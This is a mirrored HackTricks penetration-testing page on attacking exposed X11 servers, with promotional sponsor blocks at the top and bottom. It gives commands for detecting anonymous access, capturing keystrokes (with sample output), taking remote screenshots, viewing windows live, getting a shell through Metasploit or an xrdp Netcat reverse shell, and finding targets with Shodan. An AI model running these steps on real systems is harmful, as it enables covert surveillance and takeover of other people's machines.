mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 09:27:32 +00:00
202 lines
8.7 KiB
Markdown
202 lines
8.7 KiB
Markdown
# 6000 - Pentesting X11
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**HackenProof is home to all crypto bug bounties.**
|
||
|
||
**Get rewarded without delays**\
|
||
HackenProof bounties launch only when their customers deposit the reward budget. You'll get the reward after the bug is verified.
|
||
|
||
**Get experience in web3 pentesting**\
|
||
Blockchain protocols and smart contracts are the new Internet! Master web3 security at its rising days.
|
||
|
||
**Become the web3 hacker legend**\
|
||
Gain reputation points with each verified bug and conquer the top of the weekly leaderboard.
|
||
|
||
[**Sign up on HackenProof**](https://hackenproof.com/register) start earning from your hacks!
|
||
|
||
{% embed url="https://hackenproof.com/register" %}
|
||
|
||
## Basic Information
|
||
|
||
The X Window System (aka X) is a windowing system for bitmap displays, which is common on UNIX-based operating systems. X provides the basic framework for a GUI based environment. X also does not mandate the user interface – individual programs handle this.\
|
||
From: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||
|
||
**Default port:** 6000
|
||
|
||
```
|
||
PORT STATE SERVICE
|
||
6000/tcp open X11
|
||
```
|
||
|
||
## Enumeration
|
||
|
||
Check for **anonymous connection:**
|
||
|
||
```bash
|
||
nmap -sV --script x11-access -p <PORT> <IP>
|
||
msf> use auxiliary/scanner/x11/open_x11
|
||
```
|
||
|
||
#### Local Enumeration
|
||
|
||
The file **`.Xauthority`** in the users home folder is **used** by **X11 for authorization**. From [**here**](https://stackoverflow.com/a/37367518):
|
||
|
||
> MIT-magic-cookie-1: Generating 128bit of key (“cookie”), storing it in \~/.Xauthority (or where XAUTHORITY envvar points to). The client sends it to server plain! the server checks whether it has a copy of this “cookie” and if so, the connection is permitted. the key is generated by DMX.
|
||
|
||
{% hint style="warning" %}
|
||
In order to **use the cookie** you should set the env var: **`export XAUTHORITY=/path/to/.Xauthority`**
|
||
{% endhint %}
|
||
|
||
## Verfy Connection
|
||
|
||
```bash
|
||
xdpyinfo -display <ip>:<display>
|
||
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
|
||
```
|
||
|
||
## Keyloggin
|
||
|
||
[xspy](http://tools.kali.org/sniffingspoofing/xspy) to sniff the keyboard keystrokes.
|
||
|
||
Sample Output:
|
||
|
||
```
|
||
xspy 10.9.xx.xx
|
||
|
||
opened 10.9.xx.xx:0 for snoopng
|
||
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
|
||
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
|
||
```
|
||
|
||
## Screenshots capturing
|
||
|
||
```bash
|
||
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
|
||
convert screenshot.xwd screenshot.png
|
||
```
|
||
|
||
## Remote Desktop View
|
||
|
||
Way from: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||
|
||
```
|
||
./xrdp.py <IP:0>
|
||
```
|
||
|
||
Way from: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||
|
||
First we need to find the ID of the window using xwininfo
|
||
|
||
```
|
||
xwininfo -root -display 10.9.xx.xx:0
|
||
|
||
xwininfo: Window id: 0x45 (the root window) (has no name)
|
||
|
||
Absolute upper-left X: 0
|
||
Absolute upper-left Y: 0
|
||
Relative upper-left X: 0
|
||
Relative upper-left Y: 0
|
||
Width: 1024
|
||
Height: 768
|
||
Depth: 16
|
||
Visual: 0x21
|
||
Visual Class: TrueColor
|
||
Border width: 0
|
||
Class: InputOutput
|
||
Colormap: 0x20 (installed)
|
||
Bit Gravity State: ForgetGravity
|
||
Window Gravity State: NorthWestGravity
|
||
Backing Store State: NotUseful
|
||
Save Under State: no
|
||
Map State: IsViewable
|
||
Override Redirect State: no
|
||
Corners: +0+0 -0+0 -0-0 +0-0
|
||
-geometry 1024x768+0+0
|
||
```
|
||
|
||
**XWatchwin**
|
||
|
||
For **live viewing** we need to use
|
||
|
||
```bash
|
||
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
|
||
./xwatchwin 10.9.xx.xx:0 -w 0x45
|
||
```
|
||
|
||
## Get Shell
|
||
|
||
```
|
||
msf> use exploit/unix/x11/x11_keyboard_exec
|
||
```
|
||
|
||
Other way:
|
||
|
||
**Reverse Shell:** Xrdp also allows to take reverse shell via Netcat. Type in the following command:
|
||
|
||
**./xrdp.py \<IP:0> –no-disp**
|
||
|
||
|
||
|
||
It will prompt a new control pane where we can see the R-shell option, which is illustrated below:
|
||
|
||
|
||
|
||
We will start the Netcat listening mode in our local system on port 5555, which is illustrated below:
|
||
|
||
|
||
|
||
Then add the IP and port and then select R-Shell, which is illustrated below:
|
||
|
||
|
||
|
||
Now as can be seen below we have complete system access:
|
||
|
||
|
||
|
||
{% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref" %}
|
||
|
||
## Shodan
|
||
|
||
* `port:6000 x11`
|
||
|
||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**HackenProof is home to all crypto bug bounties.**
|
||
|
||
**Get rewarded without delays**\
|
||
HackenProof bounties launch only when their customers deposit the reward budget. You'll get the reward after the bug is verified.
|
||
|
||
**Get experience in web3 pentesting**\
|
||
Blockchain protocols and smart contracts are the new Internet! Master web3 security at its rising days.
|
||
|
||
**Become the web3 hacker legend**\
|
||
Gain reputation points with each verified bug and conquer the top of the weekly leaderboard.
|
||
|
||
[**Sign up on HackenProof**](https://hackenproof.com/register) start earning from your hacks!
|
||
|
||
{% embed url="https://hackenproof.com/register" %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|